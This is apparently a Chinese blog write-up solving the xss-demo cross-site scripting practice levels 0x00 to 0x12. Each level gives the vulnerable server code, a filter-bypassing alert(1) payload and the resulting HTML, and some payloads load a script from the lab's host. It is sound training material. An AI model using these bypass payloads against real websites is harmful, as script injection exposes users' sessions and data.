0%

xss-demo记录

项目地址:https://github.com/haozi/xss-demo

靶场地址:https://xss.haozi.me/

0x00

input

1
<script>alert(1)</script>

html

1
<div><script>alert(1)</script></div>

server code

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

0x01

input

1
</textarea><script>alert(1)</script>

html

1
<textarea></textarea><script>alert(1)</script></textarea>

server code

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

0x02

input

1
"><script>alert(1)</script>

html

1
<input type="name" value=""><script>alert(1)</script>">

server code

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

0x03

input

既然用正则表达式过滤了括号,那么可以对括号进行实体编码

1
<svg><script>alert&#40;1&#41;</script>

or

16进制

1
<svg><script>alert&#x28;1&#x29;</script>

另,更简单的方式

1
<script>alert`1`</script>

html

1
<svg><script>alert&#40;1&#41;</script>

server code

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

0x04

相比上一关多过滤了`反引号,可继续使用上一关payload

input

1
<svg><script>alert&#40;1&#41;</script>

1
<script>window.onerror=eval;throw'=alert\x281\x29'</script>

html

1
<svg><script>alert&#40;1&#41;</script>

server code

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

0x05

html注释两种形式

  • <!-- xxx -->
  • <!- xxx -!> <!- 以!开头,以!结尾对称注释的方式 -!>

input

1
--!><script>alert(1)</script>

html

1
<!-- --!><script>alert(1)</script> -->

server code

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

0x06

利用换行绕过

input

1
2
type=image src onerror
=alert(1)

1
2
onmousemove
=alert(1)

html

1
2
<input value=1 type=image src onerror
=alert(1) type="text">

server code

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

0x07

这个正则表达式匹配以<开头,>结尾的标签字符串,将其替换为_,可以用空格或换行绕过

input

1
2
<svg/onload=alert(1)

html

1
2
<article><svg/onload=alert(1)
</article>

server code

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

0x08

正则限制了闭合<style>标签,可通过换行或闭合之前添加空格进行绕过

input

1
</style ><script>alert(1)</script>

html

1
2
3
<style>
</style ><script>alert(1)</script>
</style>

server code

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

0x09

构造以 http://www.segmentfault.com 开头的字符串,在闭合script标签之后加入payload

input

1
http://www.segmentfault.com"></script><script>alert(1)</script>

html

1
<script src="http://www.segmentfault.com"></script><script>alert(1)</script>"></script>

server code

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

0x0A

在上一关的基础上添加了对<>/等特殊符号的转义

这里需要用到@,利用url的@特性,引入外部js,访问www.baidu.com@evil.com ,实际会访问evil.com

xss.haozi.me/j.js内容为alert(1);

另外,/会被html实体编码,但由于输入位置位于html标签属性中,编码并不影响解析

BTW,实测在chrome 98.0版本无法弹窗,推测是chrome url @机制改变,在firefox 97.0可正常弹窗

input

1
https://www.segmentfault.com@xss.haozi.me/j.js

html

1
<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>

server code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

0x0B

本关将所有输入转为大写,可利用<script>标签src属性引入外部js

另一种思路,利用img标签弹窗,对alert进行实体编码

input

1
<script src="https://xss.haozi.me/j.js"></script>

or

1
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

html

1
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1>

server code

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

0x0C

本关在上一关的基础上添加了对script的过滤,将script替换为空,因此可直接用上一个第二个payload

或者,注意到script只替换了一次,因此可对其进行双写绕过

input

1
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

or

1
<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>

html

1
<h1><IMG SRC=X ONERROR=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;></h1>

server code

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

0x0D

过滤了</'",可通过换行绕过alert的注释,还需要注释掉末尾的'),可利用html的注释符

input

1
2
alert(1);
-->

html

1
2
3
4
5
<script>
// alert('
alert(1);
-->')
</script>

server code

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

0x0E

这个正则检测<后跟的字符,并在字符前加上_,之后将字母大写,这个想不到怎么绕过,看了以下其他大佬的姿势,利用特殊字符ſ(古英语中s的写法),大写后为S,引入外部js

input

1
<ſcript src="https://xss.haozi.me/j.js"></script>

html

1
<h1><SCRIPT SRC="HTTPS://XSS.HAOZI.ME/J.JS"></SCRIPT></h1>

server code

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

0x0F

看似正则把单引号、双引号、尖括号和/都实体编码了,但注入点在img标签的onerror属性中,这里进行实体编码完全没有作用

input

1
');alert(1)//

html

1
<img src onerror="console.error('&#39;);alert(1)&#x2f;&#x2f;')">

server code

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

0x10

input

1
1;alert(1)

html

1
2
3
<script>
window.data = 1;alert(1)
</script>

server code

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

0x11

常见字符单引号、双引号、尖括号、换行符和\都会被转义

input

1
"),alert(1)//

html

1
2
3
4
5
6
7
<script>
var url = 'javascript:console.log("\"),alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>

这个看了好久才明白

第一个反斜杠没有转义双引号,因为后边双引号被注释掉了,因此这里双引号即是log函数结尾,可正常弹窗

server code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

0x12

只转义了双引号,可在双引号前加反斜杠绕过

input

1
\");alert(1)</script>//

or

1
2
3
4
5
</script>
<script>
alert`1`;
</script>
<script>

html

1
<script>console.log("\\");alert(1)</script>//");</script>

server code

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}